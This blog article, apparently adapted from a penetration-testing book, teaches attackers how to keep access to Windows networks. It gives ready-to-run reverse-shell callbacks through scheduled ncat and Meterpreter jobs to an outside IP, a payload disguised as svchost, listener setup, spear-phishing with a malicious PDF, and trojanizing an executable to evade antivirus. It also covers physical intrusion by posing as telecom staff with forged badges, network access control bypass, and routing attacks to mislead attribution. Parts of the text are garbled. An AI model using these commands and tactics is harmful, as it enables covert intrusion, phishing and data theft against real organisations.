Fading Coder

One Final Commit for the Last Sprint

Home > Tech > Content

Maintaining Access and Persistence Techniques in Windows Environments

Tech May 19 2

Maintaining Access or Callback Mechanisms

Ever wondered how attackers gain entry into secure networks and remain undetected for months or years? Here are some advanced techniques for staying within network perimeters. We'll discuss not only maintaining access to compromised local machines but also using Drop Boxes and establishing callback connections.

Understanding Persistent Connections

In the cybersecurity world, persistent connections are often referred to as "calling home." Persistence allows attackers to maintain a return connection to their command infrastructure, providing complete command-line or desktop access to victim systems.

Why pursue this approach? Your networks are typically protected by firewalls that control port access from external sources rather than internal ones. While you might establish telnet access from within the local network, accessing that same port from public networks becomes challenging. Local firewalls may block these ports, and network scanning reveals running services that alert security teams. Instead of opening ports on compromised servers, it's more effective to have victim machines initiate connections to attack infrastructure.

For demonstrations, we'll primarily use HTTPS reverse shells. This approach works because compromised machines can call back to any port on the attack server, but connections to unusual destinations like port 4444 might trigger detection by IDS/IPS systems. Most security systems whitelist outbound HTTPS connections since system updates commonly use HTTPS protocols. Your outbound connection appears more like routine updates than a compromised system.

Persistent connections don't always need to return directly to attacker infrastructure. You can route these connections through multiple intermediate machines to obscure your trail. Routing from one or more machines within target networks and external relay points makes it harder for defenders to understand what's happening.

Yes, you could route attacks through machines in North Korea or China to make them appear to originate from those locations. When media reports cyberattacks from foreign adversaries, security professionals often roll their eyes. Without access to attacking machines and their logs, determining the true origin becomes impossible. Even with access to attack machines, you still don't know how many hops the attacker made before reaching that machine. Using tools like Tor makes it nearly impossible to determine where the actual attack originated.

Using Ncat for Access Maintenance

NetCat (Ncat) is an underappreciated yet powerful tool designed for establishing raw socket connections to network ports. It's a lightweight utility that runs from a single executable file, easily transferable to systems and renameable to hide its presence. Ncat enables callback functionality to attack servers using only user-level privileges. Ncat is an open-source application provided by www.insecure.org, the same team behind Nmap maintenance. Both Ncat and its predecessor nc are installed on Kali systems. Ncat bundles with any Nmap installation.

As mentioned, Ncat exists in two versions. The older executable is nc. The nc tool performs raw socket connections to any TCP/UDP port:

A key advantage of Ncat over traditional nc is SSL encryption support, while nc traffic remains in plaintext. nc traffic sometimes gets captured by IDS/IPS and other security devices. Ncat traffic can be encrypted and disguised to appear like HTTPS traffic. Ncat also supports allowing connections only from specific IP addresses or subnets.

Initial attacks can involve network-based exploits or social engineering methods, such as spear-phishing emails carrying payloads that connect back to our attack infrastructure.

Setting Up NetCat Client

Since Windows NT 3.14, Windows has included a command-line tool for scheduled tasks called the AT command. This command resembles the cron command available on Linux or UNIX systems. You can schedule times, dates, and execution of any command-line tools or scripts. Using your Meterpreter connection, execute shell to access the system:

shell

Now you're inside the victim system. Enter the following command:

AT 5:00PM ncat.exe -nv 128.199.190.69 443 -ssl -e cmd.exe

This sets up a job running daily at 5:00 PM. It executes the ncat.exe executable with specific parameters. The command calls port 443 on the attack server 128.199.190.69. The -ssl flag specifies SSL usage. The -e cmd.exe flag tells the executable to run cmd.exe through the connection.

Before 5:00 PM, we log into our malicious server using various relays and start ncat in listening mode, waiting for the 5:00 PM callback.

The command we run is:

ncat -nvlp 443 -ssl

The -n flag tells the system to bypass DNS. The -v flag makes output verbose so you can see input and output. The -l flag tells Ncat to listen. The -p flag specifies listening on port 443, and -ssl indicates SSL encrypted sessions.

Using Metasploit for Callback

Let's use Metasploit tools for the same purpose. We'll load Metasploit on our malicious server to receive connections from victim machines to Meterpreter shells. We'll build and upload the exploit from our previous internal compromise. Besides msfconsole, we'll use other tools from the Metasploit toolkit. Metasploit includes a standalone application for building custom exploits and shellcode called msfvenom. Here's how we build our exploit:

msfvenom -a x86 -platform windows -p windows/meterpreter/reverse_https -f exe -o svchost13.exe

MSFvenom is a powerful and configurable tool with capabilities to build custom exploits that bypass antivirus software. Antivirus programs work by examining file signatures. MSFvenom can encode exploits so antivirus software cannot detect them. It can disguise exploits as common executables like Notepad. MSFvenom can add NOPs or null code to executables, making their size match original files. Here are the flags we're using:

| Usage | | /opt/metasploit/apps/pro/msf3/msfvenom [options] <var=val> | | Options | | -p | | -l | | -n | | -f | | -e | | -a | | -s | | -b | | -i | | -c | | -x | | -k | | -o | | -h |

After building, we can see our file by running ls:

Now we have something to upload. Like the Ncat example, we'll use our system compromise to upload the exploit:

Similar to Ncat, we'll access the victim machine and configure the AT command to run svchost13.exe:

shell
AT 5:25PM c:\windows\svchost.exe
exit

Before 5:25 PM, log into the malicious server //rogue3. Start Metasploit service msfconsole, set up listeners, and accept connections. Use the following commands to configure the handler module:

msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_https
set LHOST 128.199.190.69
set LPORT 443
exploit

After running the exploit, the handler begins listening on port 443, waiting for the victim to call home. After some time, we see a connection from 69.131.155.226, which is the address behind the victim's firewall. Then the handler provides us with system command prompts. Running the Meterpreter command sysinfo shows the name and machine information. From here, you have complete control!

Drop Box Deployment

Drop boxes, sometimes called jump boxes, are small devices you can hide within targeted physical locations. Getting devices onto premises sometimes requires other skills like social engineering or even minor break-ins. Security consulting companies sometimes send these devices for internal penetration testing at remote locations.

Hardware Options

Small, fully functional computers are now affordable and easy to configure. Several devices are specifically designed for this purpose and ready to use immediately. Raspberry Pi is a small single-board computer running full Linux distributions suitable for this work. Two specialized devices are Wi-Fi Pineapple and Pwnie Express. Wi-Fi Pineapple is our personal favorite. It features two separately configurable Wi-Fi access points and is only slightly larger than a cigarette pack. Having two Wi-Fi radios enables the device to connect and relay from any network. USB CAT5 adapters can connect to wired networks. These devices are full Linux systems capable of running any Linux applications.

Raspberry Pi serves as another excellent device for this purpose. It's a small single-board ARM system running many Linux operating system versions. Yes, Offensive Security built a Kali version for Raspberry Pi. Simply copy the image to a microSD card and the system is ready. They've implemented another clever technique for covert operations. Raspberry Pi setups can be completely encrypted and configured to boot entirely from remote systems. Using special passwords, private encryption keys can remotely brick or disable systems. Complete setup details appear in links at the end of this chapter.

Getting devices onto networks requires stealth. For wired networks, a popular long-standing method involves impersonating friendly telecommunications company employees. Employee badges are easily found on line. Creating badges is a simple process. During passive footprinting, identify who provides telecommunications services to targets. Once you have credentials, appear at target locations with toolkits and laptops, approach front desks saying "Hi, I'm from the telecom company. We received a ticket about slow internet speeds." You'd be surprised how easily this approach gains entry and direct access to telephone rooms. Once inside, hide and connect your pre-configured Drop Box. When it boots, it automatically connects home, and you're in! Remember, human interfaces remain the weakest security link.

For less intrusive approaches, if target offices have Wi-Fi, use it as an attack vector. This is where two Wi-Fi radios become useful. One can attack and connect to target networks, while the other serves as your relay connection. Pineapple designs for USB battery pack power, similar to phone charging devices. Depending on battery size, Pineapple can run up to 72 hours or longer before power loss. With this arrangement, your malware can easily hide in bushes, running without AC power. If you can't be on-site during attacks or contact malicious servers, captured data can be copied to flash cards on the device.

During physical reconnaissance of locations, look for cables outside buildings. Sometimes when locations expand, cabling personnel wire externally for easier installation, creating attack vulnerabilities. With good hiding spots, several RJ45 connectors, and a cheap switch, you gain access to wired networks.

Bypassing Network Access Controllers (NAC)

NAC devices are becoming increasingly common on networks. NAC does provide higher security levels, but they're not the "ultimate solution" vendors' marketing materials suggest. We'll show you a simple way to bypass corporate network NAC controls.

The following information comes from a real penetration test we conducted on an actual company some time ago. Of course, all names and IP addresses have been changed to protect the company. This isn't theory—it's real-world penetration testing. Good news for this fictionalized company: we were the good guys. Unfortunately, it took us about 30 minutes to figure this out and maybe 2 hours to fully implement.

We'll bypass the company's NAC at https://www.widgetmakers.com. Widget Makers has two networks: a Corporate LAN (CorpNET) and a production network (ProdNET) containing confidential data. Both networks are flat design with complete mutual access. A NAC device is configured and installed on CorpNET. Employees must now use NAC agents to connect to CorpNET. Widget Makers uses SIP phones for voice communication. These phones aren't on separate VLANs—they connect to CorpNET VLANs for convenience. Widget Makers also has many network printers on CorpNET.

NAC devices use agents installed on user machines for login authentication and machine identity verification. These devices can be configured to use Remote Authentication Dial-In User Service (RADIUS) servers or domain controllers for credential validation. Sometimes NAC devices use certificates for machine authentication. Attempting to fake internal machine MAC addresses without agents and login typically results in MAC address blocking from the network.

System weaknesses lie in agents. Most NAC systems are proprietary and vendor-specific. One vendor's agent won't work with another's, and no standard exists for NAC control. Most vendors only create Windows-running agents, so if your network has Mac or Linux workstations, these devices can't join networks with NAC control. Now vendors tell you to run Windows-only networks. If you're a system administrator, you know such things don't exist in reality. Even if all workstations and servers run Windows on any network, other devices either don't run Windows or can't run Windows.

So how do you get non-Windows phones, printers, and workstations working within NAC control? You must whitelist their MAC and IP addresses in NAC settings. By removing one of these devices from the network and masquerading as it, you now have access to restricted VLANs with the access level of the device you're impersonating. On flat networks, you can typically access everything on the local network.

One of the easiest targets for this attack is SIP phones. If printers go offline, people definitely notice—everyone uses printers. To exploit printers, you must choose infrequantly used ones. Phones are different. Offices always have extra phones for guests, and often if you know employee schedules, you can choose phones belonging to vacationing staff. Unplug their phone, attach your Drop Box under the desk, connect to the phone jack, and you're in.

Protecting Against These Attacks

First, don't expect NAC to serve as the ultimate security feature on networks. NAC should be just one layer in network security architecture. Actually, it should be a higher-level security layer. A simple solution involves disabling unused network ports. This won't stop hackers from tampering with vacationing employees' desk phones, but it prevents empty workspaces from becoming hacker headquarters.

Network security's first layer should be proper segmentation. If you can't route to it, you can't reach it. Notice in previous diagrams that CorpNET and ProdNET have complete mutual access. Attackers entering through CorpNET and spoofing network devices can access restricted ProdNET.

Creating Spear-Phishing Attacks with Social Engineering Toolkit

The Social Engineering Toolkit (SET) license agreement states SET is purely designed for benevolent purposes. Unauthorized use of this tool for malicious purposes violates the toolset's Terms of Service (TOS) and license. Find this tool through menu Kali Linux 08-Penetration Testing Tools | Social Engineering Toolkit, or type setoolkit at the command line:

This attack will use Metasploit reverse HTTP payloads, so you must perform some steps before using SET:

  1. Start Metasploit service. Launch Metasploit console through menu: Applications | 08-Penetration Testing Tools | Metasploit Framework. You can also launch Metasploit Framework console by typing msfconsole at command prompts, completely avoiding GUI menus.
  2. Determine localhost address where your listener will listen, so malware has something to call home to. In our test network, Kali server runs on virtual machines on physical hosts. When malware calls, host IP or virtual machine's bridged pseudo-Ethernet card must be destination. If running Kali from internet-accessible VMs, this becomes slightly more difficult.
  3. Test network configuration follows. Two machines have internet access, plus two servers accessible only from internal networks. Kali 186 is the attacker's laptop, while Windows 10 workstation serves as internal network jump box.
  4. Once you start Metasploit, you need to launch listeners so your soon-to-be-created malware has something to respond when calling home.
  5. Enter the following commands at MSF command prompt:
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_https
set LHOST 10.0.0.2
set LPORT 4343 exploit

Listeners are running open processes, so cursors won't return to ready state. To show listeners are active, scan them with nmap:

The listener responds to nmap scans and outputs scan data:

In the following diagram, we see scan sources marked by listeners, with all scan requests recorded as coming from 10.0.2.15, Kali machine's internal IP:

Our malware will be an executable contained in a PDF file. This will be sent as an attachment to an email targeting confirmed system administrators at the target company, supposedly from trusted security sources. We'll begin reviewing social engineering toolkit menu structures.

Main menu has six entries plus exit prompt:

    1. Social Engineering Attacks
    1. Fast-Track Penetration Testing
    1. Third Party Modules
    1. Update Social Engineer Toolkit
    1. Update SET Configuration
    1. Help, Credits, and About
    1. Exit Social Engineering Toolkit

Under entry #1, Social Engineering Attacks, there are 11 entries:

    1. Spear-Phishing Attack Vectors
    1. Website Attack Vectors
    1. Infectious Media Generator
    1. Create Payloads and Listeners
    1. Mass Mailer Attack
    1. Arduino-Based Attack Vector
    1. Wireless Access Point Attack Vector
    1. QR Code Generator Attack Vector
    1. Powershell Attack Vector
    1. Third Party Modules
    1. Return to Main Menu

Using Spear-Phishing Attack Vectors Menu

The Spear-Phishing Attack Vectors menu has four options:

    1. Perform Mass Email Attack
    1. Create File Format Payload
    1. Create Social Engineering Templates
    1. Return to Main Menu

Since we're establishing persistent threats enabling victim machine control and must overcome users' reluctance to double-click attachments, we must create irresistible spear-phishing emails. Effective reconnaissance beforehand is crucial.

Company directories and calendars help create urgency needed to open emails. Like email marketing, whether legitimate or spam, spear-phishing email subjects must interest, engage, or frighten victims.

This email is brief, interesting, and creates urgency through greed. Attachments can be any of the following:

  • A ZIP file supposedly containing documents
  • A Word document
  • A PDF file

SET provides 21 possible payloads. Some work better on Mac operating systems than Windows systems. Most Windows workstations aren't configured to handle RAR compressed files. Available options include:

    1. SET Custom Written DLL Hijacking Attack Vector (RAR, ZIP)
    1. SET Custom Written Document UNC LM SMB Capture Attack
    1. MS14-017 Microsoft Word RTF Object Confusion (2014-04-01)
    1. Microsoft Windows CreateSizedDIBSECTION Heap Buffer Overflow
    1. Microsoft Word RTF pFragments Stack Buffer Overflow (MS10-087)
    1. Adobe Flash Player "Button" Remote Code Execution
    1. Adobe CoolType SING Table "uniqueName" Overflow
    1. Adobe Flash Player "newfunction" Invalid Pointer Use
    1. Adobe Collab.collectEmailInfo Buffer Overflow
    1. Adobe Collab.getIcon Buffer Overflow
    1. Adobe JBIG2Decode Memory Corruption Exploit
    1. Adobe PDF Embedded EXE Social Engineering
    1. Adobe util.printf() Buffer Overflow
    1. Custom EXE to VBA (Sent via RAR) (Requires RAR)
    1. Adobe U3D CLODProgressiveMeshDeclaration Array Overrun
    1. Adobe PDF Embedded EXE Social Engineering (NOJS)
    1. Foxit PDF Reader v4.1.1 Title Stack Buffer Overflow
    1. Apple QuickTime PICT PnSize Buffer Overflow
    1. Nuance PDF Reader v6.0 Launch Stack Buffer Overflow
    1. Adobe Reader u3D Memory Corruption Vulnerability
    1. MSCOMCTL ActiveX Buffer Overflow (ms12-027)

Let's select the default option 12. When you press Enter, the next screen lets you choose between selecting your own processed PDF file or using the built-in blank PDF. Choosing the second option shows seven choices:

    1. Windows Reverse TCP Shell
    1. Windows Meterpreter Reverse_TCP
    1. Windows Reverse VNC DLL
    1. Windows Reverse TCP Shell (x64)
    1. Windows Meterpreter Reverse_TCP (X64)
    1. Windows Shell Bind_TCP (X64)
    1. Windows Meterpreter Reverse HTTPS

Since three options run code making victim machines contact your Metasploit Framework Meterpreter tools, and you're already using this tool for practice, choosing one as your malicious payload makes sense. Let's select option 7) Windows Meterpreter Reverse HTTPS.

When we enter 7, we get several options:

  • Listener IP address (LHOST): Use the host address where you'll have listeners. My Kali workstation thinks it's 10.0.2.15.
  • Connect back to [443] port: Port 443 is default here, but you can set listeners on any port on listening devices. 443 is HTTPS port, so it looks unremarkable due to its number. Port 12234 looks unusual and might be blocked if firewall administrators whitelist approved ports and blacklist others. Payload sends to /root/.set/template.pdf directory.

That's not what happens. In this case, executable is set to legit.exe. When you enter filenames like shown in the following screenshot, you need to use complete paths:

After choosing PDF name, launch social engineering toolkit mass mailer program.

If you find open mail relays, mailer programs use those relays, Gmail accounts, or any legitimate email SMTP servers. SET doesn't include its own SMTP server. You might want to find free email services for this purpose or use open relay mail servers:

Selecting Subjects or Writing New Email Messages

SET allows you to select several attractive email subjects for phishing attacks, and you can easily add new templates for customized approaches. The following list's fourth choice is what we just created:

For system testing, I chose to send attacks to Gmail accounts I control. If sending messages produces errors, SET doesn't return to mailer sections. Google Mail captures fake PDF files and sends links to security pages:

Use email accounts from servers that don't check infected attachments. We used evilhacker@act23.com and sent emails to kalibook@act23.com, which worked:

Using Backdoor Factory to Evade Antivirus Software

This exploit code runs well on XP SP2 machines without antivirus software and runs well on any machine without AV installed, but performs poorly on Windows 10 machines with basic default Windows antivirus software. We had to disable antivirus software's real-time checking to read emails without errors, while antivirus cleared our modified files. As security engineers, we're pleased Microsoft Windows 10 has such effective anti-malware functionality. As penetration testers, we feel disappointed.

Backdoor Factory inserts shellcode into working EXE files without significantly changing original files. You can use executables from /usr/share/windows-binaries directory like shown in the following screenshot, or any other Windows binaries without built-in protection:

Command to run Backdoor Factory and create remote shell code on port 43434 at 10.0.0.2. Jump cave options spread you're code throughout executable blanks to further obfuscate antivirus scanning:

backdoor-factory -cave-jumping -f /usr/share/windows-binaries/vncviewer.exe -H 10.0.0.2 -P 43434 -s reverse_shell_tcp

If you make errors in shellcode selection, the application displays your choices:

backdoor-factory -cave-jumping -f /usr/share/windows-binaries/vncviewer.exe -H 10.0.0.2 -P 43434 -s reverse_shell_tcp_inline

Then, backdoor factory continues providing options to inject shellcode into all blanks or caves in binary files:

We'll select Cave 1:

backdoored directory locates in root home directory ~/backdoored/, making it easy to find. We can use SET to push this modified file to mass mailers, but you can simply send emails from fake accounts to Windows 10 boxes to see if they clear antivirus obstacles. Executables must be compressed to pass through our mail server filters, once decompressed on Windows 10 machines, they get deleted as malicious files.

Windows 10's default antivirus software discovered this file, just as it discovered other files in SET. Unpatched old Windows versions clearly pose risks.

Related Articles

Comprehensive Guide to SSTI Explained with Payload Bypass Techniques

Introduction Server-Side Template Injection (SSTI) is a vulnerability in web applications where user input is improper handled within the template engine and executed on the server. This exploit can r...

Implement Image Upload Functionality for Django Integrated TinyMCE Editor

Django’s Admin panel is highly user-friendly, and pairing it with TinyMCE, an effective rich text editor, simplifies content management significantly. Combining the two is particular useful for bloggi...

SBUS Signal Analysis and Communication Implementation Using STM32 with Fus Remote Controller

Overview In a recent project, I utilized the SBUS protocol with the Fus remote controller to control a vehicle's basic operations, including movement, lights, and mode switching. This article is aimed...

Leave a Comment

Anonymous

◎Feel free to join the discussion and share your thoughts.